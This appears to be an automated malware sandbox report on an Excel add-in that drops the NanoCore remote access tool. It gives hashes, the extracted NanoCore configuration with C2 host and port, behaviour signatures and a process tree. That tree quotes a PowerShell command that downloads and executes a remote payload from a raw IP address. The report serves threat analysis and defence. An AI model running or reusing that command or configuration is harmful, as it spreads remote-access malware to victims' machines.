Analysis

  • max time kernel
    136s
  • max time network
    152s
  • platform
    windows7_x64
  • resource
    win7v20210410
  • submitted
    16-04-2021 18:03

General

  • Target

    Swift_ProcessingXandXmonitoring.xlam

  • Size

    19KB

  • MD5

    e776a82944a04d1939e9ce9916c30771

  • SHA1

    080948c7533b52301fdaa5d3be8b04d58d24aa12

  • SHA256

    aac964b49d6f12b420121a28b5c856e473695e00cb5095b862ea9c0db67ed119

  • SHA512

    7c9eebbc93f362ec5173ca1a06c38a920c1cff240974bab882c451fbd08d9c6799dd7c0004f8463f6b4b133bb1beedcd1227fa91feead363272f555cc9852891

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://179.43.140.150/shtq/fack.jpg

Extracted

Family

nanocore

Version

1.2.2.0

C2

poseidon99.ddns.net:47581

127.0.0.1:47581

Mutex

48a36992-d807-4f82-a5e1-68be3ae0a19f

Attributes
  • activate_away_mode

    true

  • backup_connection_host

    127.0.0.1

  • backup_dns_server

    8.8.4.4

  • buffer_size

    65535

  • build_time

    2020-11-07T12:06:34.811510836Z

  • bypass_user_account_control

    true

  • bypass_user_account_control_data

  • clear_access_control

    true

  • clear_zone_identifier

    false

  • connect_delay

    4000

  • connection_port

    47581

  • default_group

    Default

  • enable_debug_mode

    true

  • gc_threshold

    1.048576e+07

  • keep_alive_timeout

    30000

  • keyboard_logging

    false

  • lan_timeout

    2500

  • max_packet_size

    1.048576e+07

  • mutex

    48a36992-d807-4f82-a5e1-68be3ae0a19f

  • mutex_timeout

    5000

  • prevent_system_sleep

    false

  • primary_connection_host

    poseidon99.ddns.net

  • primary_dns_server

    8.8.8.8

  • request_elevation

    true

  • restart_delay

    5000

  • run_delay

    0

  • run_on_startup

    true

  • set_critical_process

    true

  • timeout_interval

    5000

  • use_custom_dns_server

    false

  • version

    1.2.2.0

  • wan_timeout

    8000

Signatures

  • NanoCore

    NanoCore is a remote access tool (RAT) with a variety of capabilities.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Process spawned suspicious child process 1 IoCs

    This child process is typically not spawned unless (for example) the parent process crashes. This typically indicates the parent process was unsuccessfully compromised.

  • Suspicious use of SetThreadContext 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 9 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 21 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 27 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\Swift_ProcessingXandXmonitoring.xlam
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1096
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -comma Invoke-Expression(New-Object Net.WebClient).DowNloAdSTRiNg.Invoke('http://179.43.140.150/shtq/fack.jpg')"
      2⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1536
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious behavior: GetForegroundWindowSpam
        • Suspicious use of AdjustPrivilegeToken
        PID:456
    • C:\PROGRA~2\COMMON~1\MICROS~1\DW\DW20.EXE
      "C:\PROGRA~2\COMMON~1\MICROS~1\DW\DW20.EXE" -x -s 608
      2⤵
      • Process spawned suspicious child process
      • Suspicious use of WriteProcessMemory
      PID:1172
      • C:\Windows\SysWOW64\dwwin.exe
        C:\Windows\system32\dwwin.exe -x -s 608
        3⤵
          PID:1988

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Defense Evasion

    Modify Registry

    1
    T1112

    Discovery

    Query Registry

    1
    T1012

    System Information Discovery

    1
    T1082

    Replay Monitor

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    Downloads

    • memory/456-102-0x0000000000820000-0x0000000000835000-memory.dmp
      Filesize

      84KB

    • memory/456-95-0x0000000000460000-0x0000000000465000-memory.dmp
      Filesize

      20KB

    • memory/456-91-0x000000000041E792-mapping.dmp
    • memory/456-92-0x0000000000400000-0x000000000043A000-memory.dmp
      Filesize

      232KB

    • memory/456-112-0x00000000042A0000-0x00000000042AF000-memory.dmp
      Filesize

      60KB

    • memory/456-111-0x0000000004270000-0x0000000004299000-memory.dmp
      Filesize

      164KB

    • memory/456-110-0x00000000020A0000-0x00000000020AA000-memory.dmp
      Filesize

      40KB

    • memory/456-109-0x0000000002080000-0x000000000208F000-memory.dmp
      Filesize

      60KB

    • memory/456-108-0x0000000002070000-0x0000000002079000-memory.dmp
      Filesize

      36KB

    • memory/456-107-0x0000000000A80000-0x0000000000A8D000-memory.dmp
      Filesize

      52KB

    • memory/456-106-0x0000000000A70000-0x0000000000A76000-memory.dmp
      Filesize

      24KB

    • memory/456-105-0x0000000000A60000-0x0000000000A67000-memory.dmp
      Filesize

      28KB

    • memory/456-104-0x0000000000A50000-0x0000000000A5C000-memory.dmp
      Filesize

      48KB

    • memory/456-103-0x0000000000850000-0x0000000000856000-memory.dmp
      Filesize

      24KB

    • memory/456-101-0x0000000000600000-0x000000000060D000-memory.dmp
      Filesize

      52KB

    • memory/456-100-0x0000000004FD5000-0x0000000004FE6000-memory.dmp
      Filesize

      68KB

    • memory/456-99-0x0000000004FD0000-0x0000000004FD1000-memory.dmp
      Filesize

      4KB

    • memory/456-98-0x0000000000480000-0x0000000000483000-memory.dmp
      Filesize

      12KB

    • memory/456-97-0x0000000000570000-0x0000000000589000-memory.dmp
      Filesize

      100KB

    • memory/456-90-0x0000000000400000-0x000000000043A000-memory.dmp
      Filesize

      232KB

    • memory/456-96-0x0000000000470000-0x0000000000476000-memory.dmp
      Filesize

      24KB

    • memory/1096-62-0x0000000005AD0000-0x0000000005AD2000-memory.dmp
      Filesize

      8KB

    • memory/1096-59-0x000000002F161000-0x000000002F164000-memory.dmp
      Filesize

      12KB

    • memory/1096-60-0x0000000070EB1000-0x0000000070EB3000-memory.dmp
      Filesize

      8KB

    • memory/1096-61-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB

    • memory/1172-113-0x0000000000000000-mapping.dmp
    • memory/1536-73-0x0000000005850000-0x0000000005851000-memory.dmp
      Filesize

      4KB

    • memory/1536-67-0x0000000004940000-0x0000000004941000-memory.dmp
      Filesize

      4KB

    • memory/1536-94-0x0000000005840000-0x0000000005841000-memory.dmp
      Filesize

      4KB

    • memory/1536-79-0x0000000006370000-0x0000000006371000-memory.dmp
      Filesize

      4KB

    • memory/1536-88-0x000000007EF20000-0x000000007EF21000-memory.dmp
      Filesize

      4KB

    • memory/1536-78-0x00000000058C0000-0x00000000058C1000-memory.dmp
      Filesize

      4KB

    • memory/1536-86-0x0000000006400000-0x0000000006401000-memory.dmp
      Filesize

      4KB

    • memory/1536-70-0x0000000005410000-0x0000000005411000-memory.dmp
      Filesize

      4KB

    • memory/1536-69-0x0000000002610000-0x0000000002611000-memory.dmp
      Filesize

      4KB

    • memory/1536-87-0x00000000064A0000-0x00000000064A1000-memory.dmp
      Filesize

      4KB

    • memory/1536-68-0x0000000004942000-0x0000000004943000-memory.dmp
      Filesize

      4KB

    • memory/1536-66-0x0000000004980000-0x0000000004981000-memory.dmp
      Filesize

      4KB

    • memory/1536-65-0x0000000002420000-0x0000000002421000-memory.dmp
      Filesize

      4KB

    • memory/1536-64-0x0000000075281000-0x0000000075283000-memory.dmp
      Filesize

      8KB

    • memory/1536-63-0x0000000000000000-mapping.dmp
    • memory/1536-89-0x00000000057E0000-0x00000000057F8000-memory.dmp
      Filesize

      96KB

    • memory/1988-115-0x0000000000000000-mapping.dmp